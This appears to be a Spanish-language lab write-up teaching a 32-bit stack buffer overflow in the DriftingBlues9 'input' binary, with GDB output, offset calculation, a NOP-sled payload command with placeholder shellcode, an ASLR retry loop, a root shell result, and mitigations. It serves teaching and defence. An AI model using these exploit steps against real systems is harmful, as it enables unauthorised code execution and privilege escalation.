1. Descripción técnica
Un buffer overflow ocurre cuando un programa escribe más datos de los que caben en una región de memoria reservada. Podemos imaginar un buffer como una caja con espacio para diez cartas: si intentamos guardar veinte, las cartas restantes invaden el espacio de las cajas contiguas.
En un programa, ese espacio adyacente puede contener otras variables, punteros o información utilizada para regresar de una función. El resultado puede ser desde un cierre inesperado hasta la modificación del flujo de ejecución. El desbordamiento es la corrupción de memoria; convertirlo en ejecución de código depende de la distribución de la memoria y de las protecciones activas.
1.1. Operación vulnerable del laboratorio
char local_af[171];
strcpy(local_af,(char *)param_2[1]);El binario reserva 171 bytes para local_af y copia allí el primer argumento proporcionado al programa. El problema está en strcpy(): la función copia bytes hasta encontrar \0, pero no recibe el tamaño del buffer de destino y, por tanto, no puede comprobar si la entrada cabe.
Además del contenido, strcpy() escribe el terminador nulo. Por eso la entrada debe caber junto con ese byte final. Si la copia supera el espacio disponible, comienza a sobrescribir los datos contiguos del stack frame.
2. Impacto
En una función x86 típica, cerca de las variables locales se encuentran el valor guardado de EBP y la dirección de retorno. Esta última indica a qué instrucción debe regresar el programa cuando la función termina.
Si el desbordamiento alcanza la dirección de retorno guardada, podemos reemplazarla por una dirección elegida. Cuando la función ejecute ret, ese valor se cargará en EIP y el procesador continuará desde la nueva dirección. Si allí colocamos un payload ejecutable, obtenemos ejecución arbitraria de código. Solo hablamos de RCE cuando la entrada vulnerable puede enviarse de forma remota; en este ejemplo, ejecutado mediante ./input, se trata inicialmente de explotación local.
// renderizando diagrama…
3. Condiciones necesarias
La técnica mostrada presupone un binario x86 de 32 bits, una dirección de retorno alcanzable y predecible, ausencia de stack canary y una pila ejecutable o algún mecanismo alternativo para redirigir la ejecución. Las protecciones modernas pueden obligar a utilizar otras técnicas. Además, los bytes problemáticos dependen de la función que copia la entrada; en este laboratorio strcpy() detiene la copia al encontrar \0.
4. Validación y explotación documentada
4.1. Cálculo del offset
Paso 1: crear un patrón cíclico
/opt/metasploit/tools/exploit/pattern_create.rb -l 200El comando genera un patrón cíclico de 200 caracteres. A diferencia de una cadena formada únicamente por A, cada subsecuencia del patrón permite identificar su posición. Cuando el programa falle, podremos buscar el valor que alcanzó la dirección de retorno y calcular cuántos bytes la preceden.
Como estamos analizando un binario x86 de 32 bits, el registro relevante es EIP. En x86-64 el equivalente sería RIP, pero no interviene en este caso.
Paso 2: provocar el fallo dentro de GDB
❯ gdb ./input
...
(No debugging symbols found in ./input)
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Starting program: /home/wh01s17/Documentos/workspace/OTEC-Sustantiva/01-HACKING-ÉTICO-EN-APLICATIVOS-WEB/material/maquinas/08-driftingblues9/content/input Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x41376641 in ?? ()GDB ejecuta el binario pasando el patrón como primer argumento. La copia fuera de límites corrompe la dirección de retorno y el proceso termina con SIGSEGV. El valor 0x41376641 indica qué cuatro bytes del patrón fueron interpretados como la siguiente dirección de ejecución. La arquitectura x86 almacena los enteros en formato little-endian, por lo que el orden de los bytes en memoria es inverso a la representación hexadecimal habitual; pattern_offset.rb resuelve esa correspondencia al buscar el valor mostrado por GDB.
Paso 3: calcular el offset exacto
Buscamos ese valor dentro del mismo patrón:
/opt/metasploit/tools/exploit/pattern_offset.rb -l 200 -q 41376641
[*] Exact match at offset 171El resultado confirma que necesitamos 171 bytes de relleno para alcanzar la dirección de retorno guardada. Los cuatro bytes siguientes serán los que ret cargue en EIP.
Paso 4: confirmar el control de EIP
Antes de introducir una dirección real, reemplazamos los cuatro bytes del retorno por BBBB. Esto permite verificar el offset sin mezclar todavía el shellcode ni una dirección dependiente del entorno:
❯ gdb --args ./input "$(python3 -c 'print("A"*171 + "B"*4)')"
(gdb) run
...
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()0x42 es el valor ASCII de B. Ver 0x42424242 como dirección de ejecución confirma que los primeros 171 bytes son padding y que los cuatro siguientes controlan el retorno guardado.
// renderizando diagrama…
4.2. Construcción del payload
Conocido el offset, construimos el payload en el mismo orden en que quedará copiado en la pila:
./input "$(python3 -c 'import struct,sys; shellcode=b"<shellcode>"; sys.stdout.buffer.write(b"A"*171 + struct.pack("<I", 0xbf84e7a0) + b"\x90"*1000 + shellcode)')"<shellcode> representa los bytes reales del payload y debe sustituirse antes de ejecutar el comando.
b"A" * 171completa exactamente el espacio anterior a la dirección de retorno.struct.pack("<I", 0xbf84e7a0)codifica la dirección0xbf84e7a0como un entero de 32 bits en formato little-endian. En memoria se escribe como\xa0\xe7\x84\xbf.b"\x90" * 1000crea el NOP sled, una zona de aterrizaje que conduce al shellcode.shellcodecontiene las instrucciones x86 que se ejecutarán, por ejemplo, para iniciar/bin/sh.
La dirección utilizada es específica de esta ejecución del laboratorio: debe apuntar a alguna posición dentro del NOP sled o a una instrucción que redirija el flujo hacia ESP. Cuando ret carga esa dirección en EIP, la ejecución atraviesa los NOP hasta alcanzar el shellcode.
// renderizando diagrama…
5. Registros clave en x86 (32 bits)
5.1. EIP: Instruction Pointer
Qué es: contiene la dirección de la próxima instrucción que ejecutará el procesador.
Importancia en el exploit: el desbordamiento no modifica directamente el registro mientras
strcpy()está copiando. Primero sobrescribe la dirección de retorno guardada en la pila; después, la instrucciónretextrae ese valor y lo carga enEIP.Ejemplo: si
EIPtermina con el valor0xbf898bf0, la siguiente instrucción se buscará en esa dirección.
5.2. ESP: Stack Pointer
Qué es: apunta al tope actual de la pila. Instrucciones como
push,pop,callyretmodifican su valor.Importancia en el exploit: después de recuperar la dirección de retorno,
ESPsuele apuntar a los bytes situados inmediatamente después de ella. Si allí están el NOP sled y el shellcode, una dirección de retorno adecuada o una instrucción comojmp esppuede conducir la ejecución hasta el payload.
La posición exacta debe comprobarse en el depurador; no puede asumirse que ESP siempre apuntará al payload.
5.3. EBP: Base Pointer
Qué es: normalmente actúa como una referencia estable para el stack frame de la función y permite localizar variables locales y argumentos mediante offsets.
Importancia en el exploit: el valor guardado de
EBPsuele encontrarse entre el buffer local y la dirección de retorno. Por eso puede quedar sobrescrito antes de alcanzarEIP, aunque controlarlo no implica por sí solo ejecución de código.
El uso de EBP como puntero de marco depende de cómo haya sido compilado el binario; algunas optimizaciones lo omiten.
// renderizando diagrama…
5.4. Otros registros generales
| Registro | Significado | Uso común |
|---|---|---|
| EAX | Acumulador | Resultados de operaciones |
| EBX | Base | A veces usado para direcciones |
| ECX | Contador | Usado en loops (loop, rep) |
| EDX | Extensión del acumulador | Multiplicación/división |
| ESI | Source Index | Operaciones con buffers (src) |
| EDI | Destination Index | Operaciones con buffers (dest) |
6. NOP sled
En x86, el byte \x90 codifica la instrucción NOP (No Operation). No modifica el estado relevante del programa; el procesador simplemente avanza a la instrucción siguiente.
6.1. Propósito del NOP sled
El objetivo ideal sería saltar al primer byte del shellcode, pero la dirección exacta de la pila puede variar. Un NOP sled coloca una secuencia de \x90 antes del shellcode y amplía la zona válida de aterrizaje:
[relleno hasta EIP] [dirección de retorno] [NOP sled] [shellcode]Si la dirección sobrescrita cae en cualquier punto del NOP sled, el procesador avanzará por los NOP hasta llegar a las instrucciones reales. Esta técnica solo funciona si la memoria que contiene el payload es ejecutable; un NOP sled no evita NX/DEP.
6.2. Tamaño del NOP sled
No existe una longitud universal. En este laboratorio se utilizan 1000 bytes para disponer de una zona amplia, pero el tamaño correcto depende del espacio disponible, del límite de los argumentos, de la posición del stack y de la longitud del shellcode. Un sled más grande ofrece mayor tolerancia únicamente mientras siga cabiendo en la región utilizable.
6.3. Requisitos del shellcode
El shellcode debe:
- estar compilado para x86 de 32 bits;
- evitar bytes nulos si se introduce mediante
strcpy(), porque\0termina la copia; - caber en el espacio disponible junto al padding y el NOP sled;
- ejecutarse desde una región con permisos de ejecución o mediante una cadena alternativa, como ROP.
En este ejemplo su objetivo es iniciar /bin/sh.
7. Restricciones prácticas y automatización
Cuando ASLR modifica la posición de la pila en cada ejecución, un mismo candidato puede fallar unas veces y caer dentro del NOP sled en otra. En ese escenario se puede repetir el intento:
for i in {1..10000}; do
./input "$(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*171 + b"\xa0\xe7\x84\xbf" + b"\x90"*1000 + b"<shellcode>")')"
doneEste bucle repite exactamente la misma dirección; no realiza un barrido. Si la distribución de memoria es estable, repetirá el mismo fallo y no aportará ninguna ventaja. Para explorar un rango de direcciones, el exploit debe modificar y empaquetar una dirección distinta en cada iteración.
Si el intento acierta y el binario se ejecuta con privilegios efectivos de root, por ejemplo porque tiene el bit SUID, la shell puede heredar ese contexto. Sin embargo, algunas shells descartan los privilegios efectivos si no se invocan en modo privilegiado:
# whoami
rootEl buffer overflow no concede privilegios por sí mismo. Si el proceso vulnerable se ejecutara como un usuario sin privilegios, el shellcode también quedaría limitado a ese usuario.
8. Casos documentados en los writeups
8.1. 008-first
La entrada rebasa el buffer destinado a una contraseña y modifica una variable de control. Este caso demuestra corrupción de memoria, pero no necesita controlar EIP para alterar la decisión del programa.
8.2. 101-driftingblues-08
Un strcpy() dentro de un binario SUID presenta el patrón vulnerable, aunque las notas identifican esta ruta como un rabbit hole. Su presencia no se presenta como la escalada efectiva de esa máquina.
8.3. 102-driftingblues9
El argumento desborda local_af, alcanza la dirección de retorno y permite calcular el offset con un patrón cíclico. Este es el laboratorio del que proceden las evidencias técnicas conservadas en esta nota.
9. Mitigación
La corrección principal es impedir la escritura fuera de límites:
- validar el tamaño de la entrada antes de copiarla;
- sustituir
strcpy()por una alternativa adecuada al caso, comofgets()osnprintf(); - si se utiliza
strncpy(), gestionar explícitamente el terminador nulo, ya que la función no garantiza terminar la cadena cuando el origen llena el destino.
Las protecciones modernas añaden defensa en profundidad:
- Stack canaries: detectan la corrupción antes de utilizar la dirección de retorno.
- NX/DEP: impide ejecutar directamente datos almacenados en la pila.
- ASLR: aleatoriza direcciones como las de la pila y las bibliotecas.
- PIE: permite aleatorizar también la base del ejecutable.
FORTIFY_SOURCEy advertencias del compilador: ayudan a detectar o abortar ciertas operaciones inseguras.
Estas medidas dificultan la explotación, pero no sustituyen la validación correcta de límites.
10. Clasificación
- CWE: CWE-120, Buffer Copy without Checking Size of Input.
- Vector: escritura fuera de límites en un buffer de la pila.
- Impacto: corrupción de memoria, alteración de estado o control del flujo según los datos alcanzados.